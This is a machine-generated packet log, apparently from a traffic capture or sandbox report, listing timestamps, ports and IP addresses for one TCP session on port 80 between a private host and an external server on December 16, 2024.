Dec 16, 2024 15:38:25.337101936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.337481022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.337555885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.338136911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.338258028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.338407993 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.339276075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.339436054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.339499950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.340312958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.340394020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.340456963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.341324091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.341415882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.341730118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.342426062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.342600107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.343455076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.343528986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.343560934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.344527006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.344590902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.344624996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.344703913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.345587969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.345671892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.346091986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.346643925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.346841097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.346899986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.347697973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.347764969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.347862005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.348771095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.348912954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.348999977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.349858046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.349948883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.350073099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.350934982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.351047039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.351170063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.352147102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.352292061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.352380037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.353038073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.353089094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.353142977 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.354068995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.354172945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.354320049 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.355176926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.355403900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.355453014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.356225967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.356239080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.356316090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.356479883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.357378006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.357476950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.357530117 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.358350039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.358386993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.358448029 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.359421968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.359575987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.359662056 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.360475063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.360512972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.360578060 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.361517906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.361615896 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.361685038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.362569094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.362643957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.362684965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.363724947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.363857031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.363899946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.364727020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.364810944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.364886999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.365777969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.366127968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.366187096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.366880894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.367105961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.367161989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.367901087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.367969990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.368021011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.368382931 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.369390011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.369467020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.369530916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.370002985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.410480022 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.507184982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.507203102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.507376909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.507549047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.507630110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.508287907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.508338928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.508343935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.508395910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.509428024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.509721041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.510437965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.510487080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.510552883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.510637999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.511478901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.511539936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.511590958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.512533903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.512608051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.513104916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.513628960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.513729095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.513783932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.514717102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.514811993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.514866114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.515790939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.515928984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.516788006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.516896009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.516922951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.516967058 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.517887115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.518205881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.518268108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.518949032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.519124985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.519232035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.520051003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.520195007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.520380974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.521023035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.521086931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.521153927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.522144079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.522212029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.522253990 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.523144007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.523268938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.523380041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.524322987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.524461031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.524547100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.525336027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.525434971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.525543928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.526350975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.526619911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.526674986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.527410030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.527594090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.528486967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.528549910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.528853893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.529030085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.529599905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.529757023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.530675888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.530740976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.530802965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.531676054 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.531711102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.531769991 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.532752037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.532864094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.532927036 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.533821106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.533883095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.533977032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.535099030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.535235882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.535278082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.536005020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.536088943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.536160946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.536989927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.537200928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.537250996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.538038015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.538158894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.538214922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.539133072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.539248943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.540234089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.540334940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.540390968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.541326046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.541428089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.541486025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.542335987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.542422056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.542525053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.543433905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.543483019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.543562889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.544451952 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.544523001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.544578075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.545520067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.545594931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.545648098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.546683073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.546881914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.546958923 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.547700882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.547885895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.547944069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.548820972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.548979998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.549194098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.549742937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.549786091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.549839020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.550787926 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.550924063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.550987005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.551908016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.551978111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.552290916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.552941084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.553055048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.553102016 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.553982973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.554042101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.554193974 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.555083990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.555268049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.555320024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.556148052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.556257010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.556337118 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.557198048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.557255030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.557317019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.558374882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.558645964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.558700085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.559506893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.559536934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.560455084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.560509920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.560564995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.561412096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.561530113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.561582088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.562515020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.613589048 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.699148893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.699171066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.699238062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.699579000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.699829102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.699884892 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.700046062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.700948000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.700990915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.701030970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.702007055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.702039957 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.702095032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.702980995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.703059912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.703080893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.704057932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.704281092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.704325914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.705125093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.705173969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.705199003 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.706132889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.706387997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.706465960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.707276106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.707429886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.707470894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.708379984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.708432913 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.708448887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.709469080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.709511995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.709713936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.710443020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.710515976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.710711002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.711518049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.711571932 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.711658955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.712558031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.712655067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.712721109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.713632107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.713687897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.713689089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.714725971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.714786053 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.714814901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.715773106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.716088057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.716504097 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.716830969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.716906071 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.716959953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.717920065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.718054056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.718091011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.718964100 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.718982935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.719029903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.720026970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.720088005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.720141888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.721193075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.721360922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.721416950 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.722163916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.722230911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.722299099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.723232031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.723294020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.723304033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.724519968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.724533081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.724579096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.725332975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.725394964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.725608110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.726450920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.726496935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.726566076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:25.727529049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.727629900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:25.727653980 CET	49747	80	192.168.2.6	185.215.113.16
